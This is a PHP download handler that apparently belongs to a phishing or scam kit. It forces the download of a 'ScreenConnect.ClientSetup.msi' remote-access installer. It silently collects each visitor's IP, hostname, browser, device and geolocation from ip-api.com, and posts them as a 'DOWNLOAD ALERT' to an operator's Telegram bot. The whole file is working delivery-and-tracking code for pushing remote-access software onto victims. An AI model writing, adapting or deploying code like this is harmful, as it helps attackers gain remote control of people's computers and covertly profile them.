<?php
// Improved error handling - silent errors
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', 'error_log.txt');

// Reuse the IP detection function from the main file
function getClientIP() {
    $ip = '';
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = trim(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]);
    } elseif (!empty($_SERVER['REMOTE_ADDR'])) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return filter_var($ip, FILTER_VALIDATE_IP) ? $ip : '';
}

// Reusing device detection from main file
function detectDevice($userAgent) {
    $deviceType = "Desktop";
    
    // Mobile detection
    if (preg_match('/(iPhone|iPod|iPad|Android|BlackBerry|IEMobile|Mobile)/i', $userAgent)) {
        $deviceType = "Mobile";
        
        // More specific devices
        if (preg_match('/iPhone/i', $userAgent)) {
            $deviceType = "iPhone";
        } elseif (preg_match('/iPad/i', $userAgent)) {
            $deviceType = "iPad";
        } elseif (preg_match('/Android/i', $userAgent)) {
            $deviceType = "Android";
        } elseif (preg_match('/BlackBerry/i', $userAgent)) {
            $deviceType = "BlackBerry";
        }
    }
    
    return $deviceType;
}

// Reusing browser detection from main file
function detectBrowser($userAgent) {
    $browser = "Unknown Browser";
    
    // Mobile browsers
    if (preg_match('/(iPhone|iPod|iPad|Android|BlackBerry|IEMobile|Mobile)/i', $userAgent)) {
        $browser = "Handheld Browser";
    }
    
    // Specific browsers
    if (preg_match('/Chrome/i', $userAgent)) {
        $browser = "Chrome";
    } elseif (preg_match('/Firefox/i', $userAgent)) {
        $browser = "Firefox";
    } elseif (preg_match('/Safari/i', $userAgent) && !preg_match('/Chrome/i', $userAgent)) {
        $browser = "Safari";
    } elseif (preg_match('/Edge/i', $userAgent)) {
        $browser = "Edge";
    } elseif (preg_match('/MSIE|Trident/i', $userAgent)) {
        $browser = "Internet Explorer";
    }
    
    return $browser;
}

// Reusing Telegram function from main file with improvements
function sendTelegramMessage($message) {
    // Load settings
    if (!file_exists('settings.php')) {
        return false;
    }
    
    try {
        $settings = include 'settings.php';
        
        if (!empty($settings) && isset($settings['telegram']) && $settings['telegram'] == "1" &&
            !empty($settings['bot_url']) && !empty($settings['chat_id'])) {
            
            $send = [
                'chat_id' => $settings['chat_id'],
                'text' => $message,
                'parse_mode' => 'HTML'
            ];
            
            $website = "https://api.telegram.org/{$settings['bot_url']}";
            
            // Send via file_get_contents for better compatibility
            $options = [
                'http' => [
                    'method' => 'POST',
                    'header' => 'Content-Type: application/x-www-form-urlencoded',
                    'content' => http_build_query($send)
                ]
            ];
            
            $context = stream_context_create($options);
            $result = @file_get_contents($website . '/sendMessage', false, $context);
            
            return ($result !== false);
        }
    } catch (Exception $e) {
        error_log("Telegram notification error: " . $e->getMessage());
    }
    
    return false;
}

// Get visitor details
$ip = getClientIP();
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$device = detectDevice($userAgent);
$browser = detectBrowser($userAgent);
$hostname = gethostbyaddr($ip);
$downloadType = isset($_GET['type']) ? $_GET['type'] : 'unknown';

// Location and ISP info variables
$city = "Unknown";
$country = "Unknown";
$isp = "Unknown";

// Try to get location info if possible (reused from main file)
try {
    $url = "http://ip-api.com/json/" . $ip;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    $resp = curl_exec($ch);
    curl_close($ch);
    $details = json_decode($resp, true);

    if ($details && isset($details['status']) && $details['status'] != 'fail') {
        $city = isset($details['city']) ? $details['city'] : 'Unknown';
        $country = isset($details['country']) ? $details['country'] : 'Unknown';
        $isp = isset($details['isp']) ? $details['isp'] : 'Unknown';
    }
} catch (Exception $e) {
    // Continue without location data if API fails
    error_log("Location API error: " . $e->getMessage());
}

// The name of your .exe file
$executableFileName = "ScreenConnect.ClientSetup.msi";
$executablePath = "files/" . $executableFileName;

// Prepare download notification message with more details
$message = "🚨 DOWNLOAD ALERT 🚨\n\n";
$message .= "Someone has downloaded your executable!\n\n";
$message .= "📱 <b>Client Details</b>\n";
$message .= "IP: " . $ip . "\n";
$message .= "Location: " . $city . ", " . $country . "\n";
$message .= "Browser: " . $browser . "\n";
$message .= "Device: " . $device . "\n";
$message .= "ISP: " . $isp . "\n\n";
$message .= "💾 <b>Download Details</b>\n";
$message .= "File: " . $executableFileName . "\n";
$message .= "Type: " . $downloadType . " download\n";
$message .= "Time: " . date('Y-m-d H:i:s') . "\n";

// Send download notification to Telegram
$notificationSent = false;
try {
    $notificationSent = sendTelegramMessage($message);
} catch (Exception $e) {
    error_log("Error sending download notification: " . $e->getMessage());
}

// Log the download (with more details than visit log)
$logEntry = date('Y-m-d H:i:s') . " | DOWNLOAD | IP: {$ip} | Location: {$city}, {$country} | ";
$logEntry .= "Browser: {$browser} | Device: {$device} | Type: {$downloadType} | ";
$logEntry .= "Telegram: " . ($notificationSent ? "Sent" : "Failed") . "\n";
@file_put_contents('downloads.log', $logEntry, FILE_APPEND);

// Check if the file exists before attempting to download
if (!file_exists($executablePath)) {
    // File doesn't exist - prepare an error directory
    if (!is_dir('files')) {
        mkdir('files', 0755, true);
    }
    
    // Create a dummy file for testing purposes
    $dummyContent = "This is a placeholder file for: " . $executableFileName;
    file_put_contents($executablePath, $dummyContent);
    
    // Log the error
    error_log("Warning: Had to create dummy file for {$executableFileName}");
}

// Set headers for file download
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $executableFileName . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($executablePath));

// Flush system output buffer
flush();

// Read the file and output it to the browser
readfile($executablePath);
exit;
?>